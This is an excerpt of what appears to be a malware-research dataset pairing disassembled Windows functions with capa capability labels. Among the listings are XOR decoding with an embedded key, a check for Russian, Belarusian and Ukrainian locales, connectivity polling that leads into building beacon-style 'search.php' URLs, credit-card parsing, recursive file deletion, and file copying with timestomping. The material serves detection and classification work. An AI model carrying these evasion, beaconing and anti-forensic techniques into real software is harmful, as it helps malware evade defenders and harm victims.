joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4dc254
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4dc2fe
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x4dc28d
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx]
cmp edx, 0
jne 0x4dc297
cmp eax, 0
jne 0x4dc297
mov eax, dword [ebp - 8]
call fcn.00405060
jmp 0x4dc2e8
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
dec ecx
test ecx, ecx
jl 0x4dc2c6
inc ecx
xor esi, esi
mov eax, esi
mov edi, 0x16
cdq
idiv edi
movzx eax, byte [edx + str.vkj8ze67dpa9wx3my2h5gu]
xor byte [ebx], al
inc ebx
inc esi
dec ecx
jne 0x4dc2ae
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx]
mov edx, eax
lea ecx, [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
call fcn.00495078
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.0040841c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dc305
lea eax, [ebp - 0xc]
call fcn.00405060
ret

Function at 0x4dc3e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405dc8
xor eax, eax
push ebp
push 0x4dc4d8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov ecx, 0
call fcn.0040600c
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 8]
call fcn.004da024
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 8]
call fcn.0040770c
mov ecx, eax
dec ecx
test ecx, ecx
jl 0x4dc452
inc ecx
xor esi, esi
mov eax, esi
mov edi, 0x16
cdq
idiv edi
movzx eax, byte [edx + str.vkj8ze67dpa9wx3my2h5gu]
xor byte [ebx], al
inc ebx
inc esi
dec ecx
jne 0x4dc43a
mov eax, dword [ebp - 8]
call fcn.0040770c
mov edx, eax
lea eax, [ebp - 0xc]
mov ecx, 0xfde9
call fcn.00405904
lea eax, [ebp - 0xc]
call fcn.00405898
mov ebx, eax
mov eax, dword [ebp - 8]
call fcn.0040770c
mov edx, ebx
mov ecx, dword [ebp - 8]
xchg ecx, eax
call fcn.0040324c
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00408520
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00405de0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dc4df
lea eax, [ebp - 0x18]
call fcn.00405060
lea eax, [ebp - 0x10]
call fcn.00405dd0
lea eax, [ebp - 0xc]
call fcn.00405060
lea eax, [ebp - 8]
mov edx, dword [0x40a4e0]
call fcn.004078e0
lea eax, [ebp - 4]
call fcn.00405dd0
ret
Function at 0x4faa38
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x4fab53
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
test esi, esi
je 0x4fab38
mov eax, esi
and eax, 1
dec eax
jne 0x4faabd
call sub.kernel32.dll_GetSystemDefaultLangID
mov edi, eax
call sub.kernel32.dll_GetUserDefaultLangID
mov word [ebp - 2], ax
call sub.kernel32.dll_GetUserDefaultUILanguage
cmp di, 0x419
je 0x4faabb
cmp word [ebp - 2], 0x419
je 0x4faabb
cmp ax, 0x419
je 0x4faabb
cmp di, 0x423
je 0x4faabb
cmp word [ebp - 2], 0x423
je 0x4faabb
cmp ax, 0x423
je 0x4faabb
cmp di, 0x422
je 0x4faabb
cmp word [ebp - 2], 0x422
je 0x4faabb
cmp ax, 0x422
jne 0x4faabd
mov bl, 1
test bl, bl
jne 0x4fab38
and esi, 2
cmp esi, 2
jne 0x4fab38
lea ecx, [ebp - 8]
mov dl, 1
xor eax, eax
call fcn.004f8b54
mov edx, dword [ebp - 8]
mov eax, 0x53ffa8
call fcn.00405de0
lea edx, [ebp - 0xc]
mov eax, dword [0x53ffa8]
call fcn.0040bbd4
mov eax, dword [ebp - 0xc]
mov edx, 0x4fab70
call fcn.0040656c
je 0x4fab36
lea edx, [ebp - 0x10]
mov eax, dword [0x53ffa8]
call fcn.0040bbd4
mov eax, dword [ebp - 0x10]
mov edx, 0x4fab84
call fcn.0040656c
je 0x4fab36
lea edx, [ebp - 0x14]
mov eax, dword [0x53ffa8]
call fcn.0040bbd4
mov eax, dword [ebp - 0x14]
mov edx, 0x4fab98
call fcn.0040656c
jne 0x4fab38
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4fab5a
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00405dd8
ret

Function at 0x4facf4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405e6c
push eax
call sub.kernel32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x4fad0d
test al, 0x10
jne 0x4fad11
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x50ced0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x50cf2a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.0050cec4
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.004f76c8
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.004f722c
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50cf31
lea eax, [ebp - 4]
call fcn.00405dd0
ret
Function at 0x5206a0
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00405dc8
mov eax, dword [ebp - 8]
call fcn.00405dc8
mov eax, dword [ebp + 0x18]
call fcn.00405dc8
mov eax, dword [ebp + 0x14]
call fcn.00405dc8
mov eax, dword [ebp + 0x10]
call fcn.00405dc8
mov eax, dword [ebp + 0xc]
call fcn.00405dc8
xor eax, eax
push ebp
push 0x52088b
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x52085b
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00425cb0
xor ecx, ecx
mov dl, 1
mov eax, dword [0x51c99c]
call fcn.004e15fc
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x520854
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4229fc]
call fcn.00428888
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x520837
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
call fcn.0051f304
add eax, 0x40
mov edx, 0x5208a8
call fcn.00405de0
mov edx, esi
mov eax, dword [ebp - 0xc]
call fcn.0050533c
mov edx, dword [ebp + 0x28]
mov eax, dword [ebp - 0xc]
call fcn.00505354
movzx edx, byte [ebp + 0x24]
mov eax, dword [ebp - 0xc]
call fcn.0051eb3c
mov eax, dword [ebp - 0xc]
movzx edx, byte [ebp + 0x20]
mov byte [eax + 0x138], dl
mov eax, dword [ebp - 0xc]
call fcn.0051f304
add eax, 0x98
mov edx, 0x5208f8
call fcn.00405de0
mov eax, dword [ebp - 0xc]
call fcn.0051f304
add eax, 0xc
mov edx, 0x52096c
call fcn.00405de0
mov eax, dword [ebp - 0xc]
call fcn.0051f304
add eax, 0x78
mov edx, 0x520990
call fcn.00405de0
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.00520a1c
mov eax, dword [ebp - 0x10]
push eax
mov ecx, ebx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.0051d484
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x44]
push ebx
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x10]
call fcn.004289f0
mov eax, dword [ebp - 0x14]
call fcn.00405e6c
mov ecx, eax
mov edx, 0x5209dc
mov eax, 0x5209fc
call fcn.004246dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x52083e
mov eax, dword [ebp - 0x10]
call fcn.00403ddc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x520892
lea eax, [ebp - 0x14]
call fcn.00405dd0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405dd8
lea eax, [ebp + 0xc]
mov edx, 4
call fcn.00405dd8
ret
Function at 0x522ff0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405dc8
xor eax, eax
push ebp
push 0x523188
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 4]
call fcn.00406044
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x10]
mov edx, 2
call fcn.0040a37c
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.00406030
mov eax, dword [ebp - 8]
movzx esi, word [eax]
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.00405f4c
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x5231a4
call fcn.0040629c
mov eax, dword [ebp - 0x18]
call fcn.00405e6c
push eax
call sub.kernel32.dll_OutputDebugStringW
mov eax, esi
add eax, 0xffffffcf
sub ax, 5
jb 0x523080
mov bl, 1
jmp 0x523153
lea edx, [ebp - 0xc]
mov eax, 0xb
call fcn.005226f4
lea eax, [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov edx, 0x5231c8
call fcn.0040629c
mov eax, dword [ebp - 0x20]
call fcn.00405e6c
push eax
call sub.kernel32.dll_OutputDebugStringW
cmp si, 0x34
jne 0x5230f1
mov eax, dword [ebp - 0xc]
mov edx, 0x5231e8
call fcn.0040656c
je 0x5230f1
mov eax, dword [ebp - 0xc]
mov edx, 0x5231fc
call fcn.0040656c
je 0x5230f1
mov eax, dword [ebp - 0xc]
mov edx, 0x523210
call fcn.0040656c
je 0x5230f1
mov eax, dword [ebp - 0xc]
mov edx, 0x523224
call fcn.0040656c
je 0x5230f1
mov bl, 1
jmp 0x523153
cmp si, 0x31
jne 0x52310a
mov eax, dword [ebp - 0xc]
mov edx, 0x5231e8
call fcn.0040656c
jne 0x52310a
mov bl, 1
jmp 0x523153
cmp si, 0x32
jne 0x523123
mov eax, dword [ebp - 0xc]
mov edx, 0x5231fc
call fcn.0040656c
jne 0x523123
mov bl, 1
jmp 0x523153
cmp si, 0x33
jne 0x52313c
mov eax, dword [ebp - 0xc]
mov edx, 0x523210
call fcn.0040656c
jne 0x52313c
mov bl, 1
jmp 0x523153
cmp si, 0x35
jne 0x523153
mov eax, dword [ebp - 0xc]
mov edx, 0x523224
call fcn.0040656c
jne 0x523153
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x52318f
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00405dd8
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00405a14
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405dd8
ret

Function at 0x52322c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf4
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryW
mov edx, ebx
mov eax, esp
call fcn.0040dc70
add esp, 0x20c
pop ebx
ret
Function at 0x5235f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
xor eax, eax
push ebp
push 0x523652
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x1f4
call sub.kernel32.dll_Sleep_2
lea eax, [ebp - 4]
mov edx, 0x523668
call fcn.00405e34
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405e6c
push eax
push 0x5236b0
push 0
push 0
call sub.shell32.dll_ShellExecuteW
push 0x32
call sub.kernel32.dll_Sleep_2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x523659
lea eax, [ebp - 4]
call fcn.00405dd0
ret

Function at 0x524688
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x524799
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
push 0
push 0x23
lea eax, [ebp - 0x212]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
lea eax, [ebp - 4]
lea edx, [ebp - 0x212]
mov ecx, 0x105
call fcn.00405fc8
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.0041513c
mov edx, dword [ebp - 0x218]
lea eax, [ebp - 4]
mov ecx, 0x5247b4
call fcn.0040629c
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.0041513c
mov edx, dword [ebp - 0x21c]
lea eax, [ebp - 4]
mov ecx, 0x524810
call fcn.0040629c
mov eax, dword [ebp - 4]
call fcn.0040cf58
test al, al
je 0x52476e
mov dl, 1
mov eax, dword [0x43c8f4]
call fcn.0043c9b8
mov ebx, eax
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0043d1e4
push 0x524834
lea eax, [ebp - 8]
push eax
mov ecx, 0x524844
mov edx, 0x524860
mov eax, ebx
mov esi, dword [eax]
call dword [esi]
xor edx, edx
mov eax, dword [ebp - 8]
call fcn.0040cae8
mov esi, eax
mov eax, ebx
call fcn.00403ddc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5247a0
lea eax, [ebp - 0x21c]
mov edx, 2
call fcn.00405dd8
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405dd8
ret
Function at 0x524880
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x5249af
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
test ebx, ebx
je 0x524984
lea eax, [ebx + 0x864]
push eax
call fcn.005245d8
dec eax
jne 0x524984
push 0
push 0x23
lea eax, [ebp - 0x212]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathW
lea eax, [ebp - 4]
lea edx, [ebp - 0x212]
mov ecx, 0x105
call fcn.00405fc8
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.0041513c
mov edx, dword [ebp - 0x218]
lea eax, [ebp - 4]
mov ecx, 0x5249cc
call fcn.0040629c
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.0041513c
mov edx, dword [ebp - 0x21c]
lea eax, [ebp - 4]
mov ecx, 0x524a28
call fcn.0040629c
mov eax, dword [ebp - 4]
call fcn.0040cf58
test al, al
je 0x524984
mov dl, 1
mov eax, dword [0x43c8f4]
call fcn.0043c9b8
mov ebx, eax
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0043d1e4
push 0x524a4c
lea eax, [ebp - 8]
push eax
mov ecx, 0x524a5c
mov edx, 0x524a80
mov eax, ebx
mov esi, dword [eax]
call dword [esi]
xor edx, edx
mov eax, dword [ebp - 8]
call fcn.0040cae8
mov esi, eax
mov eax, ebx
call fcn.00403ddc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5249b6
lea eax, [ebp - 0x21c]
mov edx, 2
call fcn.00405dd8
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405dd8
ret
Function at 0x10005b9f
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd40
mov dword [ebp - 0x2a0], 0x112
and dword [ebp - 0xc30], 0
and dword [ebp - 0xc2c], 0
mov dword [ebp - 0xd40], 1
mov dword [ebp - 0x118], 4
mov dword [ebp - 0x114], 1
and dword [ebp - 0xd3c], 0
and dword [ebp - 0xbe0], 0
and dword [ebp - 0xc28], 0
and dword [ebp - 4], 0
and dword [ebp - 0xbdc], 0
mov dword [ebp - 0x10], 1
push dword [ebp + 0xc]
call fcn.10005267
pop ecx
and dword [ebp - 0xbd8], 0
jmp 0x10005c24
mov eax, dword [ebp - 0xbd8]
inc eax
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0xbd8], 0x2710
jae 0x10005c68
push 0
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 0x29c]
and eax, 0x20
mov dword [ebp - 0xd38], eax
cmp dword [ebp - 0xd38], 0
je 0x10005c64
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005c66
jmp 0x10005c68
jmp 0x10005c17
push 1
call fcn.10007c4a
pop ecx
test eax, eax
jne 0x10005c7b
xor eax, eax
jmp 0x10005e01
lea eax, [ebp - 0xc24]
push eax
call fcn.10005682
pop ecx
and byte [ebp - 0xbe4], 0
cmp dword [0x1000b140], 0
jne 0x10005cdd
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.10005b7c
push eax
push dword [0x1000e7a0]
push 0x112
push dword [0x1000a6e0]
push dword [0x1000a6dc]
push dword [ebp + 8]
push str.http:___s_search.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
jmp 0x10005d20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.10005b7c
push eax
push dword [0x1000e7a0]
push 0x112
push dword [0x1000a6e0]
push dword [0x1000a6dc]
push dword [ebp + 8]
push str.http:___s_dupe.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
push dword [0x1000a6e0]
push dword [0x1000a6dc]
push str._d_d
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x2d4]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0xbdc], eax
lea eax, [ebp - 0xbe0]
push eax
push 1
lea eax, [ebp - 0x110]
push eax
call fcn.10007e10
add esp, 0xc
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xbe0], 0xa
jbe 0x10005ddc
push dword [ebp - 0xbdc]
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0xd34]
push eax
call fcn.10007a90
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
lea eax, [ebp - 0xd34]
push eax
call fcn.10007b61
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
call fcn.10007349
pop ecx
pop ecx
test eax, eax
je 0x10005dd3
call fcn.10008219
push 1
pop eax
jmp 0x10005e01
call fcn.10008219
xor eax, eax
jmp 0x10005e01
cmp dword [ebp - 0xc28], 0
je 0x10005dfa
push dword [ebp - 0xc28]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.10008219
xor eax, eax
leave
ret
Function at 0x41bee0
Capabilities:
Parse credit card information

Disassembly:
push esi
mov esi, dword [edi + 0x8c]
mov eax, dword [esi + 0x7f8]
cmp eax, 0x33
jl 0x41bef7
cmp eax, 0x3c
jle 0x41bf07
test eax, eax
jne 0x41bf0e
mov eax, dword [esi + 0x82c]
cmp dword [eax + 0x24], 0x23
jne 0x41bf0e
mov eax, 1
pop esi
ret
cmp dword [esi + 0x768], 0
je 0x41bf39
mov eax, dword [esi + 0x7f8]
cmp eax, 0x1e
je 0x41bf32
test eax, eax
jne 0x41bf39
mov ecx, dword [esi + 0x82c]
cmp dword [ecx + 0x24], 0xf
jne 0x41bf39
mov eax, 3
pop esi
ret
mov ecx, esi
call fcn.00453a00
test al, al
jne 0x41c000
mov eax, edi
call fcn.0041be50
test al, al
je 0x41bf5a
mov eax, 0xa
pop esi
ret
mov eax, dword [esi + 0x7f8]
cmp eax, 0xffffffff
jne 0x41bf6c
mov eax, 6
pop esi
ret
cmp eax, 0x14
je 0x41c000
cmp eax, 0x18
je 0x41c000
cmp eax, 0x17
jne 0x41bf8a
mov eax, 2
pop esi
ret
cmp eax, 0x3d
je 0x41bf32
cmp eax, 0x3e
je 0x41bf32
cmp eax, 0x3f
je 0x41bf32
cmp eax, 0x40
je 0x41bf32
cmp eax, 0x41
je 0x41bff9
cmp eax, 0x42
je 0x41bff9
cmp eax, 0x43
je 0x41bff9
cmp eax, 0x44
je 0x41bf65
cmp eax, 0x45
jne 0x41bfbe
mov eax, 8
pop esi
ret
cmp eax, 0x46
jne 0x41bfca
mov eax, 9
pop esi
ret
mov eax, esi
call fcn.00453870
test al, al
jne 0x41bf32
mov eax, esi
mov edx, dword [eax + 0x82c]
mov esi, dword [edx + 0x214]
add esi, 6
call fcn.00453ac0
cmp eax, esi
jge 0x41bff5
mov esi, eax
mov eax, esi
pop esi
ret
mov eax, 4
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x4059e3
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405ca1
test bl, 8
mov dword [ebp - 0xc], eax
je 0x405a22
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4477a8], eax
jmp 0x405bac
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405a3c
test eax, eax
je 0x405b5a
test bl, 2
je 0x405b5a
mov esi, 0x43a530
push edi
push esi
call fcn.00406221
cmp dword [ebp + 8], 0
je 0x405a5b
push 0x40a3cc
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405a61
push edi
call fcn.00405bfa
cmp byte [edi], 0
jne 0x405a6f
cmp byte [0x43a530], 0x5c
jne 0x405a7a
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x405b50
lea eax, [ebp - 0x120]
push 0x3f
push eax
lea esi, [ebp - 0x120]
call fcn.00405bde
cmp byte [eax], 0
je 0x405ac0
cmp byte [ebp - 0x1c], 0
je 0x405ac0
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x405ad6
mov al, byte [esi + 1]
test al, al
je 0x405b2f
cmp al, 0x2e
jne 0x405ad6
cmp byte [esi + 2], 0
je 0x405b2f
push esi
push ebx
call fcn.00406221
test byte [ebp - 0x14c], 0x10
je 0x405afb
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405b2f
push dword [ebp + 0xc]
push edi
call fcn.004059e3
jmp 0x405b2f
push dword [ebp - 4]
push edi
call fcn.0040599b
test eax, eax
jne 0x405b27
cmp dword [ebp - 4], eax
je 0x405b1f
push edi
push 0xfffffffffffffff1
call fcn.00405342
push 0
push edi
call fcn.00405ffa
jmp 0x405b2f
inc dword [0x4477a8]
jmp 0x405b2f
push edi
push 0xfffffffffffffff2
call fcn.00405342
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405a9e
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405b5a
and byte [ebx - 1], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405bac
cmp dword [ebp - 0xc], esi
jne 0x405b6e
inc dword [0x4477a8]
jmp 0x405bac
push edi
call fcn.00406598
test eax, eax
je 0x405bac
push edi
call fcn.00405bb3
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.0040599b
test eax, eax
jne 0x405ba4
cmp dword [ebp - 4], esi
je 0x405b66
push edi
push 0xfffffffffffffff1
call fcn.00405342
push esi
push edi
call fcn.00405ffa
jmp 0x405bac
push edi
push 0xffffffffffffffe5
call fcn.00405342
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x401229
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.00402d80
pop ecx
push esi
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
call fcn.00402d80
push edi
mov dword [ebp - 8], eax
call fcn.00401d50
push eax
pop ebx
push ebx
call fcn.00402d80
mov esi, eax
add esp, 0xc
xor eax, eax
test ebx, ebx
mov dword [ebp - 4], esi
jle 0x40128b
push edi
pop ecx
sub esi, edi
mov dl, byte [ecx]
cmp dl, 0x2e
je 0x401284
inc eax
mov byte [esi + ecx], dl
inc ecx
cmp eax, ebx
jl 0x401272
jmp 0x40128b
mov ecx, dword [ebp - 4]
mov byte [ecx + eax], 0
push dword [ebp - 4]
push str._s.cab
push dword [ebp - 8]
call fcn.00401cb9
add esp, 0xc
push 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WinExec]
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
ret

Function at 0x4012b4
Capabilities:
Copy file
Delete file
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x12c
mov eax, dword [0x4110fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [0x4348f4]
mov ebx, ecx
mov dword [ebp - 0x114], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push ebx
mov dword [ebp - 0x118], eax
call edi
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push 0x80000000
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
call ebx
lea ecx, [ebp - 0x12c]
push ecx
push esi
lea ecx, [ebp - 0x124]
push ecx
push eax
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x11c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push dword [0x4348f4]
lea eax, [ebp - 0x110]
push eax
mov dword [0x4348f8], eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
or eax, eax
je 0x4013d6
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x114]
call fcn.00401000
push dword [ebp - 0x114]
call fcn.00401b21
add esp, 0xc
push esi
push esi
push 3
push esi
push esi
push 0x100
push dword [0x4348f4]
call ebx
push eax
pop ebx
lea eax, [ebp - 0x12c]
push eax
push esi
lea eax, [ebp - 0x124]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x118]
push dword [0x4348f4]
call edi
push 2
push dword [ebp - 0x114]
call edi
sub eax, eax
inc eax
jmp 0x4013d8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401caa
leave
ret